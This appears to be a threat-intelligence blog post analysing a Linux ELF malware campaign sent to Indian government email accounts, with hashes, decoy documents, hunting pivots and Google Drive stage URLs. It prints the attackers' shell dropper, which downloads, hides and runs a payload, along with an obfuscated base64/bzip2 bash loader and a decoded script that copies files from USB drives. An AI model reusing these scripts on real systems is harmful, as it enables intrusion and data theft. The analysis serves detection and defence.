There’s an old joke that “Linux on the desktop is the future, and it always will be”. Although linux backdoors are not always novel, because Linux accounts for <5% of desktops, initial droppers for Linux are extremely rare for an initial compromise. To put it another way, users are not getting infected by .elf file attachments from email.
Except when they do.
An email was recently uploaded to VirusTotal, showing a compromised Indian government account sending a malicious mail to separate Indian government domain. The attachment format was what raised our eyebrows, however. The ZIP attachment contained a pdf, a docx, and an ELF. record scratch
SHA256 | Filename | Notes |
---|---|---|
8f609f60dd82dc13878b1d82ebc56e5056cb9274234df1510ee737e62ba22aaa | Application Form & Brochure.zip | Initial attachment |
90f7d3f354a1637d7467962fe87449532881d06ed76acaae696cc286cba02de7 | Application Form.pdf | Decoy pdf |
d7cf1c4dfcb10f1ad533413f419e6dd467783f82a87d6c309ba9a213457e035c | Housing Project Brochure.docx | Decoy docx |
a074d391d575f6628fba3a90adb4673ea189512b55e7980d74fd816e354e10cb | Password | UPX-packed ELF binary |
b5d73c422d9070eff12adb65a39a76188bd69de4a972108c78a2d3516627f5be | Password (unpacked) | upx -d unpack command |
The Password is an ELF binary, that when you execute it, it pops a dialog box via:
zenity --info --no-wrap "--text=Your File Access Code is: 745 414" --title=Password
The pdf and docx are legitimately password protected with that password (the docx curiously doesn’t use a space in the numbers), which can be observed below:
password protected PDF | after decryption |
---|---|
The “password” binary proceeds to execute a shell script, and fetch a number of files from Google Drive, all created by the account
damosunday98@gmail.com
.
1if ! pgrep -x "gnucoreinfo" >/dev/null; then
2 ###search for a process named gnucoreinfo, if does not exist, launch it###
3 nohup sh -c 'cd ~/.x86_32-linux-gnu && ./gnucoreinfo > /dev/null 2>&1 &' >/dev/null 2>&1
4fi
5
6if [ ! -d "$HOME/.x86_32-linux-gnu" ]; then
7 ###if .x86_32-linux-gnu is not a directory, create it###
8 mkdir "$HOME/.x86_32-linux-gnu" fi if [ ! -f "$HOME/.x86_32-linux-gnu/gnucoreinfo" ]; then
9 ### if gnucoreinfo is not a file in that directory, download it, make it executable, ### and run it in the background###
10 curl -L -o "$HOME/.x86_32-linux-gnu/gnucoreinfo" "https://drive.google[.]com/uc?export=download&id=1VXY76hUXaWcXQBdbUZYjVhOHmI6fOUHV" >/dev/null 2>&1
11 chmod +x "$HOME/.x86_32-linux-gnu/gnucoreinfo"
12 cd "$HOME/.x86_32-linux-gnu"
13 if ! pgrep -x "gnucoreinfo" >/dev/null; then
14 nohup sh -c 'cd ~/.x86_32-linux-gnu && ./gnucoreinfo > /dev/null 2>&1 &' >/dev/null 2>&1
15 fi
16 cd
17fi
gdrive token | UPX packed file name ‘vmcoreinfo.txt’ | unpacked |
---|---|---|
1VXY76hUXaWcXQBdbUZYjVhOHmI6fOUHV | 8e59936cd5b69eed2241866384915427e576158331a3a67fa50ca6fc1b129a99 | 4d4fdc48bc2f17b45af97d0cf2ce69913532b9b27a7ed97ee2e5b42540e4e |
vmcoreinfo
is another ELF with “DiscordGO”, and fetches three more files from Google Drive
Google drive ID | SHA256 | filename |
---|---|---|
1dlI8jSabaeJT1MnQxiih0Ww-hZrG-GAe | bebe490aec13b6d84f56250c0f6f9d9f10bc0ba0ae42316407d49b87217b63fc | BID2.txt |
1XvW8ir8l0G9axv4lhEvQFOxOyzmMV64t | d8b8116c5e9a14983c275444dc3a251cdad09f9d56e6c121749269c24bf691a9 | GID2.txt |
1btUsB3nWehTNW8Cho9Wv3Efrt4c6EhI_ | ae59ba12ec6a42ee5b08c3e2ce91ec02071b2f5ad9338e3a19d690bd68acb860 | GTK-Theme-Parse.txt |
The BID
file was a token for Discord (Bot ID), but the GTK-Theme-Parse
had us briefly looking sideways at the monitor
1#!/bin/bash 2"${@,,}" $BASH ${*%%u;q3} ${@,}
3<<<"$( ${*~~} p'''r''i'\ntf 'QlpoOTFBWSZTWdHbOc0AACXfgERQfPfwG19mnpu/7// 4uQAKi5O3duquuEoQUwnpTTQaNA0AAaaAHqDyg8oMhTU9MVNplHqHoIAAPUAaNHlGgASKaphIPSB 5p6mxQABoAAAaDQJTURpHoo2p6mnqaehGgMho9QANDIAeIBEp0DX1zhc/0LLXMzfNBM4FfRBW 6HuV06MYLctkahEBMAgHeV1qs5GUzLTxLKBbwmwYpqZmc2yiFsGqvgPKsxinsfpCqLypkG6I 7rO9L4Si4uNYI/kitXstCwwPgIolDI4YhlcJJSEekRiC6uaN+0XdttrAFXlfzKQmtLohAJ 8BIO5JZGflzHK5LKJKEpkYtFnczmQrppdpQFhNZsFspGM5jKBsQzzVWxW+7RYMMBZEPfZ 9kVhKZVkol0xtuGlC8zE0HJjJkZq/UXJMYaAHmoTx9C4lrjet95pcS4zin3BcBhAgHByVR10OzCz3wdp8Jt6CuXWtu4Y2w9HmDs+Y4RAzITTaAFKGUhdYgzODOVvYHIgvDU/mkcKknGcJnn6BQGU11zqsfV4jpKxANDMo6zDQpduDfSS7c5kVg6p08zyqIioFVQFT9QMy/hVETAdkwMmIEQkTBRGfdw3yc12nJRoimdtvbABQUj2ZFhIwXisFTY0RUcqliRDJQMHiz4C8okNw565ZcAjGmZCxnGgpqYspIhct313ErgMSY1EHiGyTn8EsFYwqlbdaBhSk0BPRqk0hBjr1r0xRIGOkhWJpIFIEFcIA7ERZ5C82y1Q28814vgVRGqkZG7FxhTVANA79M17YzjRbbbq4LqKmlRREKIkwGInlJkOfMZJ3mbGgmPV1MMhykHsKqKp15Im1xaXlIoMxW2NuHlHJlV8rOmaEs0TpBomgTcFv8Ku2t+7Eg0kx5JMBWQia+UCSFn49KiGj/16F3JFOFCQ0ds5zQA==' ${*/af*FB} | ${*//;=gV/%_MnfSkx} ba"17 s "${@//ZJ6xPX7n/5oHg}e\64 -d " ${@^^}" |
18 ${*#9V-Z1>} bu$'\u006e'z''ip" ${@,,}19"2 -c ${*~~} )" "${@//\[Q1m%W2/\[Duwv3bC}" ${*//\(^$\Otl/__+y7p}
Your eyes can probably notice the base64 chunk, as well as simple obfuscation around ‘printf’ and ‘bunzip2’. You may notice junk obfuscation, such as ${@^^}
and ${@,,}
, which simply make script arguments upper and lower case. It’s easiest to simply decode the base64 and bunzip it, which ironically gives us an unobfuscated script, neatly documented. As you can see, it copies files from usb sticks, and records the metadata. There was a separate but related attack mentioned by Sir Tom at Volexity, as well as researchers at Blackberry. Rather than reinvent the wheel, you can head there to see more technical details on the ELF, including some slick command and control using emojis. The rest of this blog will be showing how to find variants.
1# Define the directory paths
2USB_DIR="/media/$USER"
3RECORD_FILE="record.txt"
4DEST_DIR="$HOME/Documents/swift2"
5
6# Function to copy files from USB drive to destination folder
7copy_files() {
8 device_name="$1"
9 device_path="$USB_DIR/$device_name"
10 folder_name="$DEST_DIR/$device_name"
11 record_file="$folder_name/$RECORD_FILE"
12
13 # Create destination folder if it doesn't exist
14 mkdir -p "$folder_name"
15
16 # Copy new files to destination folder, rename, and add to record.txt
17 find "$device_path" -type f | while read -r filepath; do
18 filename=$(basename "$filepath")
19
20 # Check if filename already exists in record.txt
21 if ! grep -q "^$filename$" "$record_file"; then
22 echo "$filename" >> "$record_file"
23 cp "$filepath" "$folder_name/UZB_$filename"
24 echo "File copied: $filename"
25 else
26 echo "File skipped: $filename"
27 fi done
28}
29
30# Main loop
31while true; do
32 # Check for connected USB drives
33 drives=($USB_DIR/*)
34
35 # Iterate through connected drives
36 for drive_path in "${drives[@]}"; do
37 drive=$(basename "$drive_path")
38
39 # Check if record.txt exists for the drive
40 if [ ! -d "$DEST_DIR/$drive" ] || [ ! -f "$DEST_DIR/$drive/$RECORD_FILE" ]; then
41 # Copy files if record.txt doesn't exist
42 copy_files "$drive"
43 else
44 # Copy new files to destination folder, rename, and add to record.txt
45 copy_files "$drive"
46 fi
47 done
48
49 # Wait for 10 seconds before the next iteration
50 sleep 10
51done
To find similar files, we noticed interesting pivot points such as:
Pivot point | Example match |
---|---|
/home/hackerex | /home/hackerex/Desktop/Golang_Dev/Discord/14/New file testing/Password.go |
zenity --info --no-wrap (behavior) |
zenity --info --no-wrap "--text=Your File Access Code
is: 627 914" --title=Password
|
error setting up cron job: | error setting up cron job: %v*/5 * * * * bash -i -c ’exit' |
We were able to find some similar top level files, and the subsequent next stages. We have shared these on our github at the end of the post.
sha256 | filename | upx unpacked |
---|---|---|
f2eca0ed18b7d5bd800b597bd429c028c62524da777bf4e09e14440c50ce1529 | Revised_IT_Rebate | c2188334e78f1e4fc2402f9cdb31656008365a9622430e2e4323aed96fb711bb |
51a372fee89f885741515fa6fdf0ebce860f98145c9883f2e3e35c0fe4432885 | DSOP_Fund_Nomination_Form | 1cdf1f32f31e226f037fda562985e481b7aa0b809971f2e40b713b034cf1d44e |
91a4093cbda11aa4e4816708fd58c3339315b389d87a34e5078338213c5e07d9 | Password | b77b1975417c0a76f6b017cf6d6e22420bf9bc5f9b705798c715cb5265a3203a |
44504a847b36d8c76dbe9e1bdc63fd7e4cac41fa93f392317abfcabdbb6044de | India_Emerging_Global_Economy | not upx packed |
c981aa1f05adf030bacffc0e279cf9dc93cef877f7bce33ee27e9296363cf002 | Immovable_Property_Returns | 1672e7e771136bab309161b009716dd5a0438c8f03e352274aab94611bf5f248 |
2abaae4f6794131108adf5b42e09ee5ce24769431a0e154feabe6052cfe70bf3 | DSOP_Nom | 5d2dbbbec39b425a284a284f3b5363e04c728509194f27ad39554f5a794e2afd |
Next stages, see github for downloads | filename | notes |
---|---|---|
https://drive.google[.]com/uc?export=download&id=134lLfuotAVNi1kwXGM0ebYEQXmcZzXZD | LAN_Conf.txt | bash control script |
https://drive.google[.]com/uc?export=download&id=17-zY-F8mX5SdiMGckLXfaLUFdHXKlZ3B | WAN_Conf.txt | elf |
https://drive.google[.]com/uc?export=download&id=198iFGb-HSg7hVzCSwji9XsNhKWXj86zg | GTK-Theme-Parse.txt | base64 → bzip → bash script |
https://drive.google[.]com/uc?export=download&id=1K5mXjTAhvT-trugsBwWK-kxQ0IHzJm2q | vmcoreinfo.txt | base64 elf |
https://drive.google[.]com/uc?export=download&id=1Qo0aaS4JqsM8HZApxguvKavQ71u_dYZe | vmcoreinfo.txt | 1227fd4c67541505448bc67f2a8fe8dd8efde758365f0aeab7a6852fd30bbc43 → ed52e2fbb7ffe95824e5bfc8963578a6f3fd50e9d34c579c7b1bd6bdf922b4d3 upx |
https://drive.google[.]com/uc?export=download&id=1TgaT2DtSH12t-3EHBDinpxQNAouKbBTq | India_Emerging_Global_Economy.pdf | decoy PDF |
https://drive.google[.]com/uc?export=download&id=1VXY76hUXaWcXQBdbUZYjVhOHmI6fOUHV | vmcoreinfo.txt | |
https://drive.google[.]com/uc?export=download&id=1Vmuu0JGueRgR8nUEtyzYOMqFeU91_J-B | vmcoreinfo.txt | |
https://drive.google[.]com/uc?export=download&id=1XvW8ir8l0G9axv4lhEvQFOxOyzmMV64t | GID2.txt | channel id |
https://drive.google[.]com/uc?export=download&id=1btUsB3nWehTNW8Cho9Wv3Efrt4c6EhI_ | GTK-Theme-Parse.txt | bzip’d bash |
https://drive.google[.]com/uc?export=download&id=1dlI8jSabaeJT1MnQxiih0Ww-hZrG-GAe | BID2.txt | bot ID |
https://drive.google[.]com/uc?export=download&id=1hLuUjYw-kb8R2eIQ39A9A1WdwWGHsGGt | drivers_update_check.txt | fa3279aa22eac728d483c946ba714c7ec91b02ab262560b8d85a3acb03160a29 → 9a9fbce37ebe327b95059ca74ede15cc4b536f92e21cc9c2546efd1b638c99c7 upx |
https://drive.google[.]com/uc?export=download&id=1mmllHvOps_P9VrOFvVLhRV-m78fKZyO2 | WAN_conf.txt | ead993c1d537c239750e19a5700a58501dab319d5d271bf85137608448c1faa0 → fe7e7a5a1b1d634dec3fc9c6bc91c6e96ec635fece5af10cfac894fd228ca38d upx |
https://drive.google[.]com/uc?export=download&id=17CwwbWtDTtCXnXGlUVq4Bn3ibsRxGujf | GID3.txt | channel id |
https://drive.google[.]com/uc?export=download&id=1FjufdMwRhNRS1ZCQ_1AnjQWN9-pwLVOp | BID1.txt | bot token |
https://drive.google[.]com/uc?export=download&id=1RC-03-VI9l855JsvqmPQ1sGK0dCAWsjy | BID3.txt | bot token |
https://drive.google[.]com/uc?export=download&id=1hHqEimmmZBmu0jJUz_qkvErvAecnkrW5 | GID1.txt | channel id |
other urls on ordai[.]quest and clawsindia[.]in | see blackberry & volexity posts |
Vendor | Threat Actor name |
---|---|
You? | Get in touch for blog pre-releases! |
Our github provides a download to both the raw samples mentioned in the blog, as well as the indicators mentioned.
Acknowledgements
The authors would like to thank the reviewers, as well as peer vendors, for their comments and corrections. Please get in touch at research@strikeready.com if you have corrections, or would like to collaborate on research.